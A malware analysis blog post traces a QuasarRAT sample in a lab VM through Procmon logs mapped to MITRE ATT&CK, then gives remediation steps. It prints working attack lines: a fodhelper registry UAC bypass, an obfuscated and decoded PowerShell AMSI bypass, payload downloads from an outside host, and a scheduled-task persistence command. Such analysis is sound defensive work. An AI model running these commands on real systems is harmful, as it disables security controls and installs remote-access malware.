QuasarRAT — a powershell helping of fod
- colliernathan
- Apr 30, 2024
- 5 min read
Updated: May 22, 2024
Welcome to my introductory blog analyzing malware! Well, at least published here as I have been analyzing malware and publishing my findings for over a decade.
For my first malware analysis on my new blog, we are looking at QuasarRAT. This piece of malware is a perfect example of what modern Windows malware looks like using a combination of current obfuscation tactics, PowerShell, and schtasks. According to MalwareBazaar, QuasarRAT has been around since 2020. Therefore, it is perfect piece of malware to get things started.
What is a RAT?
Quick definition of what a RAT is to describe our QuasarRAT variant. Remote Access Trojan (RAT) is a piece of malware that allows a compromised machine to be spied upon and controlled. This is done via a backdoor to gain unauthorized access to the machine. In other words, this backdoor access gives the attacker full access over the machine. In addition, another function of a RAT is the ability to log keystrokes to collect password, usernames, etc. It is a nasty, nasty RAT!
Work Environment
Before diving in, allow me to discuss my work environment. It is in the basement of my house, and I usually have a needy cat laying on my lap. Although this may be true, that’s not really relevant here. What is relevant is the fact that I’m working in a VirtualBox VM running Windows 10. More importantly, on this Windows 10 VM there is FlareVM installed. Moreover, FlareVM by Mandiant is a Windows Malware Analysis Distribution VM packed full of super cool tools! I also have a REMux linux VM that I run alongside to collect internet traffic from the Windows 10 VM using iNetSim. This will be my main work environment for analyzing malware throughout this blog, and future blogs.
MITRE ATT&CK and Procmon output format
For ease of explaining the processes, moving forward I will be using this format to display Procmon output along with providing related MITRE ATT&CK Tactics and Techniques:
Time of Day Process Name PID Operation Path Result Detail *Related MITRE ATT&CK Tactics and Techniques |
What the heck is MITRE ATT&CK Tactics and Techniques? Back in 2009 when I started malware analysis, my coworkers and I would talk about what we were seeing. I like to call this nerd talk. 🤓 However, the nerd talk among my coworkers about malware was different than the nerd talk at other companies. And in bigger companies, the nerd talk among different teams was different. So in 2013 MITRE ATT&CK was launched to tear down the tower of babble among malware researchers. In order to create one coherent format to talk about malware. It also helps identify the tactics and techniques shared among malware variants. Even better, it gives the non-technical people a chance to understand the tactics and techniques of malware without diving deep into the technical realm.
Obfuscation can be fod(helper)
Starting with our malware placed on the Desktop, we fire up Procmon and Process Explorer. Here is the sample we are working with:
Filename: client.exe
Upon the initial running of client.exe, the first thing that we see is an obfuscation tactic to bypass Windows User Account Control (UAC). Moreover, this bypasses Windows Defender when subsequent commands are executed. Follow along and we will explain later. Okay, let’s dive in!
4:54:49.9970344 PM Client.exe 3980 Process Start SUCCESS Command line: "C:\Users\<username>\Desktop\client.exe" |
From the initial execution of client.exe, one of its first tasks is to create a register key in HKCU\Software\Classes\ms-settings\shell\open\command, and make a path to itself as Default.
4:54:51.3420253 PM Client.exe 3980 RegSetValue HKCU\Software\Classes\ms-settings\shell\open\command\(Default) SUCCESS Type: REG_SZ, Length: 184, Data: C:\Users\<username>\Desktop\client.exe MITRE ATT&CK T1112 — Modify Registry -Creates registry key -Modifies registry value |
Then, it creates a value in the register key of HKCU\Software\Classes\ms-settings\shell\open\command\DelegateExecute.
4:54:51.3429775 PM client.exe 3980 RegSetValue HKCU\Software\Classes\ms-settings\shell\open\command\DelegateExecute SUCCESS Type: REG_SZ, Length: 2, Data: MITRE ATT&CK T1112 — Modify Registry -Creates registry value |
Now that these registry keys are set, it runs fodhelper.exe from a command line (cmd.exe) session with the /k parameter that carries out the command specified by string and keeps the command processor running.
4:54:51.3571267 PM Cmd.exe 6352 Process Start SUCCESS Parent PID: 3980, Command line: cmd.exe /k START C:\Windows\System32\fodhelper.exe & EXIT |
Note the change of the PID from the parent of 3980 to 6352. Now, 6352 starts PID 1396.
4:54:52.1499717 PM Fodhelper.exe 1396 Process Start SUCCESS Parent PID: 6352, Command line: "C:\Windows\System32\fodhelper.exe" MITRE ATT&CK T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control |
This is where the magic happens. When running fodhelper.exe, if the registry HKCU\Software\Classes\ms-settings\shell\open\command is set with value DelegateExecute, it will execute what is in the Default. In this case, it is set to the location of our malware at C:\Users\<username>\Desktop\client.exe. This in turn opens a new iteration of the malware with PID 2772.
4:54:52.5359763 PM Client.exe 2772 Process Start SUCCESS Parent PID: 1396, Command line: "C:\Users\<username>\Desktop\client.exe" |
As a result, all subsequent commands from 2772 will bypass detection with Windows Defender.
Yet another bypass
Now that client.exe is running using the method highlighted above to bypass Windows Defender, it moves onto another tactic of bypassing the Windows Antimalware Scan Interface (AMSI). AMSI as quoted by Mircsosoft.
The Windows Antimalware Scan Interface (AMSI) a versatile interface standard that allows your applications and services to integrate with any antimalware product that's present on a machine. AMSI provides enhanced malware protection for your end-users and their data, applications, and workloads.
More specifically, AMSI integrates with components such as PowerShell, UAC, Windows Script Host, JavaScript, and VBScript. For example, if you use malicious code via PowerShell, AMSI will detect. That is unless it is bypassed. We move onto looking into how QuasarRAT implements this bypass, starting with a encoded PowerShell command.
4:54:52.9039646 PM Powershell.exe 644 Process Start SUCCESS Parent PID: 2772, Command line: "powershell.exe" [Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true) MITRE ATT&CK T1027 — Obfuscated Files or Information -Encode data using Base64 -Reference Base64 string MITRE ATT&CK T1059.001 — Command and Scripting Interpreter: PowerShell MITRE ATT&CK T1562.001 — Impair Defenses: Disable or Modify Tools -AMSI bypass |
Before proceeding, we need to pause to decode two segments of the PowerShell command. Segment one:
([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))
Decoding this results in AmsiUtils.
Moving onto the next segment:
([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA==')))
The result here is amsiInitFailed.
If you don’t believe me, try running the two segments using powershell.exe in command prompt or in a PowerShell session. The final result after decoding will translate to the this command:
powershell.exe [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) |
Operating under the radar
Payload download
Now that the defenses are down, it’s time for the real malicious behavior. First up is using PowerShell, with AMSI bypassed mind you, to download a rootkit. A rootkit is used to gain root access, the highest privileges on the system, to the compromised machine.
4:54:54.4626328 PM Powershell.exe 6592 Process Start SUCCESS Parent PID: 2772, Command line: "powershell.exe" Invoke-WebRequest hxxps://files.offshore.cat/DSKeOWN1.exe -OutFile C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe MITRE ATT&CK T1036 — Masquerading -Drops PE files to the windows directory (C:\\Windows) |
Filename: embr-rootkit.exe
Undeniably, this rootkit will be used by QuasarRAT to achieve its main goal of remotely accessing the compromised machine.
Additional strings
Although these were not recorded in the Procmon output, we did found a string that hint at additional functionality of QuasarRAT.
Invoke-WebRequest hxxps://files.offshore.cat/xIPJVPDq.exe -OutFile C:\Windows\Logs\Ember-Rootkit\EmberUninstaller.exe |
Yet another payload to be downloaded within the C:\Windows\Logs\ directory. Because this URL was no longer active at the time of analysis, we were unable to analyze. For this reason, there is no Procmon log for this activity. Needless to say, this was not going to Uninstall QuasarRAT as the filename EmberUninstaller.exe hints.
Persistence
The last step for QuasarRAT is to make sure it stays persistently running. It accomplishes this by creating a scheduled task for itself. But first, it moves itself within the user directory as embr-client.exe.
4:55:03.9400590 PM Client.exe 2772 CreateFile C:\Users\<username>\AppData\Roaming\$embr-Ember\$embr-client.exe SUCCESS Desired Access: Generic Read/Write, Delete, Write DAC, Disposition: OverwriteIf, Options: Sequential Access, Non-Directory File, Attributes: H, ShareMode: None, AllocationSize: 7,967,740, OpenResult: Created MITRE ATT&CK T1036 — Masquerading -Creates files inside the user directory |
The scheduled task creates a task with the name $embr-Ember set to run on logon at the highest run level.
4:55:03.9924665 PM schtasks.exe 4440 Process Start SUCCESS Parent PID: 2772, Command line: "schtasks" /create /tn "$embr-Ember" /sc ONLOGON /tr "C:\Users\<username>\AppData\Roaming\$embr-Ember\$embr-client.exe" /rl HIGHEST /f MITRE ATT&CK T1053.005 — Scheduled Task/Job: Scheduled Task -Schedule task via schtasks |
Remediation
Now that we can see how this variant of QuasarRAT behaves, we can work with this information to remediate. First step is to stop the persistence of the schedule task. Start with firing up command prompt and run this command:
schtasks /Delete /tn "$embr-Ember" |
Now that it can no longer run on logon, it would be wise to reboot the machine. Now time to tidy things up, deleting the following:
Navigate to %userprofile%\AppData\Roaming\ and delete directory $embr-Ember Navigate to C:\Windows\Logs\ and delete directory $embr-Ember Open Registry Editor Navigate to key HKCU\Software\Classes\ and delete key ms-settings |
Passers By
Using fodhelper.exe is not the only method to bypass Windows UAC. Nor is QuasarRAT the only malware family that uses it. Same goes for AMSI bypassing. In fact, there are many methods of bypassing used by malware. Certainly, some of these bypasses were discovered as Proof of Concepts (POC) by well intentioned cybersecurity professionals. Regardless, once the “RAT” is out of bang, malware developers take full advantage. Alas, the patches required to harden these bypasses will go unpatched for a long time after discovery. Be that as it may, cybersecurity professionals like myself will continue the cat vs RAT game to stop bad actors like this one. Stay safe out there!
Looking for a cybersecurity professional to join your company? You're in luck, because I'm available! Feel free to contact me via my Contact page or LinkedIn.
Comments